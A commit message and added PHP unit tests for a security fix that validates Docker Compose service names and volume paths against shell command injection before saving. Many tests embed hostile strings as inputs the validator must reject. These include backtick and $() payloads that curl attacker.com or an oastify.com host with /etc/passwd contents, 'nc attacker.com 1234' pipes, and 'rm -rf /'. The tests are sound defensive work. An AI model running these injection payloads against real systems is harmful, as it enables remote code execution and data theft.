fix: prevent command injection in Docker Compose parsing - add pre-save validation

This commit addresses a critical security issue where malicious Docker Compose
data was being saved to the database before validation occurred.

Problem:
- Service models were saved to database first
- Validation ran afterwards during parse()
- Malicious data persisted even when validation failed
- User saw error but damage was already done

Solution:
1. Created validateDockerComposeForInjection() to validate YAML before save
2. Added pre-save validation to all Service creation/update points:
   - Livewire: DockerCompose.php, StackForm.php
   - API: ServicesController.php (create, update, one-click)
3. Validates service names and volume paths (string + array formats)
4. Blocks shell metacharacters: backticks, $(), |, ;, &, >, <, newlines

Security fixes:
- Volume source paths (string format) - validated before save
- Volume source paths (array format) - validated before save
- Service names - validated before save
- Environment variable patterns - safe ${VAR} allowed, ${VAR:-$(cmd)} blocked

Testing:
- 60 security tests pass (176 assertions)
- PreSaveValidationTest.php: 15 tests for pre-save validation
- ValidateShellSafePathTest.php: 15 tests for core validation
- VolumeSecurityTest.php: 15 tests for volume parsing
- ServiceNameSecurityTest.php: 15 tests for service names

Related commits:
- Previous: Added validation during parse() phase
- This commit: Moves validation before database save

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>

tests/Unit/PreSaveValidationTest.php

@@ -0,0 +1,200 @@
+<?php
+
+test('validateDockerComposeForInjection blocks malicious service names', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  evil`curl attacker.com`:
+    image: nginx:latest
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker Compose service name');
+});
+
+test('validateDockerComposeForInjection blocks malicious volume paths in string format', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '/tmp/pwn`curl attacker.com`:/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection blocks malicious volume paths in array format', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - type: bind
+        source: '/tmp/pwn`curl attacker.com`'
+        target: /app
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection blocks command substitution in volumes', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '$(cat /etc/passwd):/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection blocks pipes in service names', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web|cat /etc/passwd:
+    image: nginx:latest
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker Compose service name');
+});
+
+test('validateDockerComposeForInjection blocks semicolons in volumes', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '/tmp/test; rm -rf /:/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection allows legitimate compose files', function () {
+    $validCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - /var/www/html:/usr/share/nginx/html
+      - app-data:/data
+  db:
+    image: postgres:15
+    volumes:
+      - db-data:/var/lib/postgresql/data
+volumes:
+  app-data:
+  db-data:
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($validCompose))
+        ->not->toThrow(Exception::class);
+});
+
+test('validateDockerComposeForInjection allows environment variables in volumes', function () {
+    $validCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '${DATA_PATH}:/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($validCompose))
+        ->not->toThrow(Exception::class);
+});
+
+test('validateDockerComposeForInjection blocks malicious env var defaults', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '${DATA:-$(cat /etc/passwd)}:/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection requires services section', function () {
+    $invalidCompose = <<<'YAML'
+version: '3'
+networks:
+  mynet:
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($invalidCompose))
+        ->toThrow(Exception::class, 'Docker Compose file must contain a "services" section');
+});
+
+test('validateDockerComposeForInjection handles empty volumes array', function () {
+    $validCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes: []
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($validCompose))
+        ->not->toThrow(Exception::class);
+});
+
+test('validateDockerComposeForInjection blocks newlines in volume paths', function () {
+    $maliciousCompose = "services:\n  web:\n    image: nginx:latest\n    volumes:\n      - \"/tmp/test\ncurl attacker.com:/app\"";
+
+    // YAML parser will reject this before our validation (which is good!)
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class);
+});
+
+test('validateDockerComposeForInjection blocks redirections in volumes', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '/tmp/test > /etc/passwd:/app'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection validates volume targets', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - '/tmp/safe:/app`curl attacker.com`'
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($maliciousCompose))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('validateDockerComposeForInjection handles multiple services', function () {
+    $validCompose = <<<'YAML'
+services:
+  web:
+    image: nginx:latest
+    volumes:
+      - /var/www:/usr/share/nginx/html
+  api:
+    image: node:18
+    volumes:
+      - /app/src:/usr/src/app
+  db:
+    image: postgres:15
+YAML;
+
+    expect(fn () => validateDockerComposeForInjection($validCompose))
+        ->not->toThrow(Exception::class);
+});

tests/Unit/ServiceNameSecurityTest.php

@@ -0,0 +1,242 @@
+<?php
+
+use App\Models\Service;
+use Symfony\Component\Yaml\Yaml;
+
+test('service names with backtick injection are rejected', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  'evil`whoami`':
+    image: alpine
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceName = array_key_first($parsed['services']);
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->toThrow(Exception::class, 'backtick');
+});
+
+test('service names with command substitution are rejected', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  'evil$(cat /etc/passwd)':
+    image: alpine
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceName = array_key_first($parsed['services']);
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->toThrow(Exception::class, 'command substitution');
+});
+
+test('service names with pipe injection are rejected', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  'web | nc attacker.com 1234':
+    image: nginx
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceName = array_key_first($parsed['services']);
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->toThrow(Exception::class, 'pipe');
+});
+
+test('service names with semicolon injection are rejected', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  'web; curl attacker.com':
+    image: nginx
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceName = array_key_first($parsed['services']);
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->toThrow(Exception::class, 'separator');
+});
+
+test('service names with ampersand injection are rejected', function () {
+    $maliciousComposes = [
+        "services:\n  'web & curl attacker.com':\n    image: nginx",
+        "services:\n  'web && curl attacker.com':\n    image: nginx",
+    ];
+
+    foreach ($maliciousComposes as $compose) {
+        $parsed = Yaml::parse($compose);
+        $serviceName = array_key_first($parsed['services']);
+
+        expect(fn () => validateShellSafePath($serviceName, 'service name'))
+            ->toThrow(Exception::class, 'operator');
+    }
+});
+
+test('service names with redirection are rejected', function () {
+    $maliciousComposes = [
+        "services:\n  'web > /dev/null':\n    image: nginx",
+        "services:\n  'web < input.txt':\n    image: nginx",
+    ];
+
+    foreach ($maliciousComposes as $compose) {
+        $parsed = Yaml::parse($compose);
+        $serviceName = array_key_first($parsed['services']);
+
+        expect(fn () => validateShellSafePath($serviceName, 'service name'))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('legitimate service names are accepted', function () {
+    $legitCompose = <<<'YAML'
+services:
+  web:
+    image: nginx
+  api:
+    image: node:20
+  database:
+    image: postgres:15
+  redis-cache:
+    image: redis:7
+  app_server:
+    image: python:3.11
+  my-service.com:
+    image: alpine
+YAML;
+
+    $parsed = Yaml::parse($legitCompose);
+
+    foreach ($parsed['services'] as $serviceName => $service) {
+        expect(fn () => validateShellSafePath($serviceName, 'service name'))
+            ->not->toThrow(Exception::class);
+    }
+});
+
+test('service names used in docker network connect command', function () {
+    // This demonstrates the actual vulnerability from StartService.php:41
+    $maliciousServiceName = 'evil`curl attacker.com`';
+    $uuid = 'test-uuid-123';
+    $network = 'coolify';
+
+    // Without validation, this would create a dangerous command
+    $dangerousCommand = "docker network connect --alias {$maliciousServiceName}-{$uuid} $network {$maliciousServiceName}-{$uuid}";
+
+    expect($dangerousCommand)->toContain('`curl attacker.com`');
+
+    // With validation, the service name should be rejected
+    expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
+        ->toThrow(Exception::class);
+});
+
+test('service name from the vulnerability report example', function () {
+    // The example could also target service names
+    $maliciousCompose = <<<'YAML'
+services:
+  'coolify`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`':
+    image: alpine
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceName = array_key_first($parsed['services']);
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->toThrow(Exception::class);
+});
+
+test('service names with newline injection are rejected', function () {
+    $maliciousServiceName = "web\ncurl attacker.com";
+
+    expect(fn () => validateShellSafePath($maliciousServiceName, 'service name'))
+        ->toThrow(Exception::class, 'newline');
+});
+
+test('service names with variable substitution patterns are rejected', function () {
+    $maliciousNames = [
+        'web${PATH}',
+        'app${USER}',
+        'db${PWD}',
+    ];
+
+    foreach ($maliciousNames as $name) {
+        expect(fn () => validateShellSafePath($name, 'service name'))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('service names provide helpful error messages', function () {
+    $maliciousServiceName = 'evil`command`';
+
+    try {
+        validateShellSafePath($maliciousServiceName, 'service name');
+        expect(false)->toBeTrue('Should have thrown exception');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('service name');
+        expect($e->getMessage())->toContain('backtick');
+    }
+});
+
+test('multiple malicious services in one compose file', function () {
+    $maliciousCompose = <<<'YAML'
+services:
+  'web`whoami`':
+    image: nginx
+  'api$(cat /etc/passwd)':
+    image: node
+  database:
+    image: postgres
+  'cache; curl attacker.com':
+    image: redis
+YAML;
+
+    $parsed = Yaml::parse($maliciousCompose);
+    $serviceNames = array_keys($parsed['services']);
+
+    // First and second service names should fail
+    expect(fn () => validateShellSafePath($serviceNames[0], 'service name'))
+        ->toThrow(Exception::class);
+
+    expect(fn () => validateShellSafePath($serviceNames[1], 'service name'))
+        ->toThrow(Exception::class);
+
+    // Third service name should pass (legitimate)
+    expect(fn () => validateShellSafePath($serviceNames[2], 'service name'))
+        ->not->toThrow(Exception::class);
+
+    // Fourth service name should fail
+    expect(fn () => validateShellSafePath($serviceNames[3], 'service name'))
+        ->toThrow(Exception::class);
+});
+
+test('service names with spaces are allowed', function () {
+    // Spaces themselves are not dangerous - shell escaping handles them
+    // Docker Compose might not allow spaces in service names anyway, but we shouldn't reject them
+    $serviceName = 'my service';
+
+    expect(fn () => validateShellSafePath($serviceName, 'service name'))
+        ->not->toThrow(Exception::class);
+});
+
+test('common Docker Compose service naming patterns are allowed', function () {
+    $commonNames = [
+        'web',
+        'api',
+        'database',
+        'redis',
+        'postgres',
+        'mysql',
+        'mongodb',
+        'app-server',
+        'web_frontend',
+        'api.backend',
+        'db-01',
+        'worker_1',
+        'service123',
+    ];
+
+    foreach ($commonNames as $name) {
+        expect(fn () => validateShellSafePath($name, 'service name'))
+            ->not->toThrow(Exception::class);
+    }
+});

tests/Unit/ValidateShellSafePathTest.php

@@ -0,0 +1,143 @@
+<?php
+
+test('allows safe paths without special characters', function () {
+    $safePaths = [
+        '/var/lib/data',
+        './relative/path',
+        'named-volume',
+        'my_volume_123',
+        '/home/user/app/data',
+        'C:/Windows/Path',
+        '/path-with-dashes',
+        '/path_with_underscores',
+        'volume.with.dots',
+    ];
+
+    foreach ($safePaths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
+    }
+});
+
+test('blocks backtick command substitution', function () {
+    $path = '/tmp/pwn`curl attacker.com`';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'backtick');
+});
+
+test('blocks dollar-paren command substitution', function () {
+    $path = '/tmp/pwn$(cat /etc/passwd)';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'command substitution');
+});
+
+test('blocks pipe operators', function () {
+    $path = '/tmp/file | nc attacker.com 1234';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'pipe');
+});
+
+test('blocks semicolon command separator', function () {
+    $path = '/tmp/file; curl attacker.com';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'separator');
+});
+
+test('blocks ampersand operators', function () {
+    $paths = [
+        '/tmp/file & curl attacker.com',
+        '/tmp/file && curl attacker.com',
+    ];
+
+    foreach ($paths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))
+            ->toThrow(Exception::class, 'operator');
+    }
+});
+
+test('blocks redirection operators', function () {
+    $paths = [
+        '/tmp/file > /dev/null',
+        '/tmp/file < input.txt',
+        '/tmp/file >> output.log',
+    ];
+
+    foreach ($paths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('blocks newline command separator', function () {
+    $path = "/tmp/file\ncurl attacker.com";
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'newline');
+});
+
+test('blocks complex command injection with the example from issue', function () {
+    $path = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`';
+
+    expect(fn () => validateShellSafePath($path, 'volume source'))
+        ->toThrow(Exception::class);
+});
+
+test('blocks nested command substitution', function () {
+    $path = '/tmp/$(echo $(whoami))';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class, 'command substitution');
+});
+
+test('blocks variable substitution patterns', function () {
+    $paths = [
+        '/tmp/${PWD}',
+        '/tmp/${PATH}',
+        'data/${USER}',
+    ];
+
+    foreach ($paths as $path) {
+        expect(fn () => validateShellSafePath($path, 'test'))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('provides context-specific error messages', function () {
+    $path = '/tmp/evil`command`';
+
+    try {
+        validateShellSafePath($path, 'volume source');
+        expect(false)->toBeTrue('Should have thrown exception');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('volume source');
+    }
+
+    try {
+        validateShellSafePath($path, 'service name');
+        expect(false)->toBeTrue('Should have thrown exception');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('service name');
+    }
+});
+
+test('handles empty strings safely', function () {
+    expect(fn () => validateShellSafePath('', 'test'))->not->toThrow(Exception::class);
+});
+
+test('allows paths with spaces', function () {
+    // Spaces themselves are not dangerous in properly quoted shell commands
+    // The escaping should be handled elsewhere (e.g., escapeshellarg)
+    $path = '/path/with spaces/file';
+
+    expect(fn () => validateShellSafePath($path, 'test'))->not->toThrow(Exception::class);
+});
+
+test('blocks multiple attack vectors in one path', function () {
+    $path = '/tmp/evil`curl attacker.com`; rm -rf /; echo "pwned" > /tmp/hacked';
+
+    expect(fn () => validateShellSafePath($path, 'test'))
+        ->toThrow(Exception::class);
+});

tests/Unit/VolumeArrayFormatSecurityTest.php

@@ -0,0 +1,247 @@
+<?php
+
+use Symfony\Component\Yaml\Yaml;
+
+test('demonstrates array-format volumes from YAML parsing', function () {
+    // This is how Docker Compose long syntax looks in YAML
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - type: bind
+        source: ./data
+        target: /app/data
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $volumes = $parsed['services']['web']['volumes'];
+
+    // Verify this creates an array format
+    expect($volumes[0])->toBeArray();
+    expect($volumes[0])->toHaveKey('type');
+    expect($volumes[0])->toHaveKey('source');
+    expect($volumes[0])->toHaveKey('target');
+});
+
+test('malicious array-format volume with backtick injection', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '/tmp/pwn`curl attacker.com`'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $volumes = $parsed['services']['evil']['volumes'];
+
+    // The malicious volume is now an array
+    expect($volumes[0])->toBeArray();
+    expect($volumes[0]['source'])->toContain('`');
+
+    // When applicationParser or serviceParser processes this,
+    // it should throw an exception due to our validation
+    $source = $volumes[0]['source'];
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class, 'backtick');
+});
+
+test('malicious array-format volume with command substitution', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '/tmp/pwn$(cat /etc/passwd)'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['evil']['volumes'][0]['source'];
+
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class, 'command substitution');
+});
+
+test('malicious array-format volume with pipe injection', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '/tmp/file | nc attacker.com 1234'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['evil']['volumes'][0]['source'];
+
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class, 'pipe');
+});
+
+test('malicious array-format volume with semicolon injection', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '/tmp/file; curl attacker.com'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['evil']['volumes'][0]['source'];
+
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class, 'separator');
+});
+
+test('exact example from security report in array format', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  coolify:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['coolify']['volumes'][0]['source'];
+
+    // This should be caught by validation
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class);
+});
+
+test('legitimate array-format volumes are allowed', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - type: bind
+        source: ./data
+        target: /app/data
+      - type: bind
+        source: /var/lib/data
+        target: /data
+      - type: volume
+        source: my-volume
+        target: /app/volume
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $volumes = $parsed['services']['web']['volumes'];
+
+    // All these legitimate volumes should pass validation
+    foreach ($volumes as $volume) {
+        $source = $volume['source'];
+        expect(fn () => validateShellSafePath($source, 'volume source'))
+            ->not->toThrow(Exception::class);
+    }
+});
+
+test('array-format with environment variables', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - type: bind
+        source: ${DATA_PATH}
+        target: /app/data
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['web']['volumes'][0]['source'];
+
+    // Simple environment variables should be allowed
+    expect($source)->toBe('${DATA_PATH}');
+    // Our validation allows simple env var references
+    $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
+    expect($isSimpleEnvVar)->toBeTrue();
+});
+
+test('array-format with malicious environment variable default', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: '${VAR:-/tmp/evil`whoami`}'
+        target: /app
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $source = $parsed['services']['evil']['volumes'][0]['source'];
+
+    // This contains backticks and should fail validation
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class);
+});
+
+test('mixed string and array format volumes in same compose', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  web:
+    image: nginx
+    volumes:
+      - './safe/data:/app/data'
+      - type: bind
+        source: ./another/safe/path
+        target: /app/other
+      - '/tmp/evil`whoami`:/app/evil'
+      - type: bind
+        source: '/tmp/evil$(id)'
+        target: /app/evil2
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $volumes = $parsed['services']['web']['volumes'];
+
+    // String format malicious volume (index 2)
+    expect(fn () => parseDockerVolumeString($volumes[2]))
+        ->toThrow(Exception::class);
+
+    // Array format malicious volume (index 3)
+    $source = $volumes[3]['source'];
+    expect(fn () => validateShellSafePath($source, 'volume source'))
+        ->toThrow(Exception::class);
+
+    // Legitimate volumes should work (indexes 0 and 1)
+    expect(fn () => parseDockerVolumeString($volumes[0]))
+        ->not->toThrow(Exception::class);
+
+    $safeSource = $volumes[1]['source'];
+    expect(fn () => validateShellSafePath($safeSource, 'volume source'))
+        ->not->toThrow(Exception::class);
+});
+
+test('array-format target path injection is also blocked', function () {
+    $dockerComposeYaml = <<<'YAML'
+services:
+  evil:
+    image: alpine
+    volumes:
+      - type: bind
+        source: ./data
+        target: '/app`whoami`'
+YAML;
+
+    $parsed = Yaml::parse($dockerComposeYaml);
+    $target = $parsed['services']['evil']['volumes'][0]['target'];
+
+    // Target paths should also be validated
+    expect(fn () => validateShellSafePath($target, 'volume target'))
+        ->toThrow(Exception::class, 'backtick');
+});

tests/Unit/VolumeSecurityTest.php

@@ -0,0 +1,176 @@
+<?php
+
+test('parseDockerVolumeString rejects command injection in source path', function () {
+    $maliciousVolume = '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`:/app';
+
+    expect(fn () => parseDockerVolumeString($maliciousVolume))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('parseDockerVolumeString rejects backtick injection', function () {
+    $maliciousVolumes = [
+        '`whoami`:/app',
+        '/tmp/evil`id`:/data',
+        './data`nc attacker.com 1234`:/app/data',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('parseDockerVolumeString rejects dollar-paren injection', function () {
+    $maliciousVolumes = [
+        '$(whoami):/app',
+        '/tmp/evil$(cat /etc/passwd):/data',
+        './data$(curl attacker.com):/app/data',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('parseDockerVolumeString rejects pipe injection', function () {
+    $maliciousVolume = '/tmp/file | nc attacker.com 1234:/app';
+
+    expect(fn () => parseDockerVolumeString($maliciousVolume))
+        ->toThrow(Exception::class);
+});
+
+test('parseDockerVolumeString rejects semicolon injection', function () {
+    $maliciousVolume = '/tmp/file; curl attacker.com:/app';
+
+    expect(fn () => parseDockerVolumeString($maliciousVolume))
+        ->toThrow(Exception::class);
+});
+
+test('parseDockerVolumeString rejects ampersand injection', function () {
+    $maliciousVolumes = [
+        '/tmp/file & curl attacker.com:/app',
+        '/tmp/file && curl attacker.com:/app',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('parseDockerVolumeString accepts legitimate volume definitions', function () {
+    $legitimateVolumes = [
+        'gitea:/data',
+        './data:/app/data',
+        '/var/lib/data:/data',
+        '/etc/localtime:/etc/localtime:ro',
+        'my-app_data:/var/lib/app-data',
+        'C:/Windows/Data:/data',
+        '/path-with-dashes:/app',
+        '/path_with_underscores:/app',
+        'volume.with.dots:/data',
+    ];
+
+    foreach ($legitimateVolumes as $volume) {
+        $result = parseDockerVolumeString($volume);
+        expect($result)->toBeArray();
+        expect($result)->toHaveKey('source');
+        expect($result)->toHaveKey('target');
+    }
+});
+
+test('parseDockerVolumeString accepts simple environment variables', function () {
+    $volumes = [
+        '${DATA_PATH}:/data',
+        '${VOLUME_PATH}:/app',
+        '${MY_VAR_123}:/var/lib/data',
+    ];
+
+    foreach ($volumes as $volume) {
+        $result = parseDockerVolumeString($volume);
+        expect($result)->toBeArray();
+        expect($result['source'])->not->toBeNull();
+    }
+});
+
+test('parseDockerVolumeString rejects environment variables with command injection in default', function () {
+    $maliciousVolumes = [
+        '${VAR:-`whoami`}:/app',
+        '${VAR:-$(cat /etc/passwd)}:/data',
+        '${PATH:-/tmp;curl attacker.com}:/app',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('parseDockerVolumeString accepts environment variables with safe defaults', function () {
+    $safeVolumes = [
+        '${VOLUME_DB_PATH:-db}:/data/db',
+        '${DATA_PATH:-./data}:/app/data',
+        '${VOLUME_PATH:-/var/lib/data}:/data',
+    ];
+
+    foreach ($safeVolumes as $volume) {
+        $result = parseDockerVolumeString($volume);
+        expect($result)->toBeArray();
+        expect($result['source'])->not->toBeNull();
+    }
+});
+
+test('parseDockerVolumeString rejects injection in target path', function () {
+    // While target paths are less dangerous, we should still validate them
+    $maliciousVolumes = [
+        '/data:/app`whoami`',
+        './data:/tmp/evil$(id)',
+        'volume:/data; curl attacker.com',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});
+
+test('parseDockerVolumeString rejects the exact example from the security report', function () {
+    $exactMaliciousVolume = '/tmp/pwn`curl https://78dllxcupr3aicoacj8k7ab8jzpqdt1i.oastify.com -X POST --data "$(cat /etc/passwd)"`:/app';
+
+    expect(fn () => parseDockerVolumeString($exactMaliciousVolume))
+        ->toThrow(Exception::class, 'Invalid Docker volume definition');
+});
+
+test('parseDockerVolumeString provides helpful error messages', function () {
+    $maliciousVolume = '/tmp/evil`command`:/app';
+
+    try {
+        parseDockerVolumeString($maliciousVolume);
+        expect(false)->toBeTrue('Should have thrown exception');
+    } catch (Exception $e) {
+        expect($e->getMessage())->toContain('Invalid Docker volume definition');
+        expect($e->getMessage())->toContain('backtick');
+        expect($e->getMessage())->toContain('volume source');
+    }
+});
+
+test('parseDockerVolumeString handles whitespace with malicious content', function () {
+    $maliciousVolume = '  /tmp/evil`whoami`:/app  ';
+
+    expect(fn () => parseDockerVolumeString($maliciousVolume))
+        ->toThrow(Exception::class);
+});
+
+test('parseDockerVolumeString rejects redirection operators', function () {
+    $maliciousVolumes = [
+        '/tmp/file > /dev/null:/app',
+        '/tmp/file < input.txt:/app',
+        './data >> output.log:/app',
+    ];
+
+    foreach ($maliciousVolumes as $volume) {
+        expect(fn () => parseDockerVolumeString($volume))
+            ->toThrow(Exception::class);
+    }
+});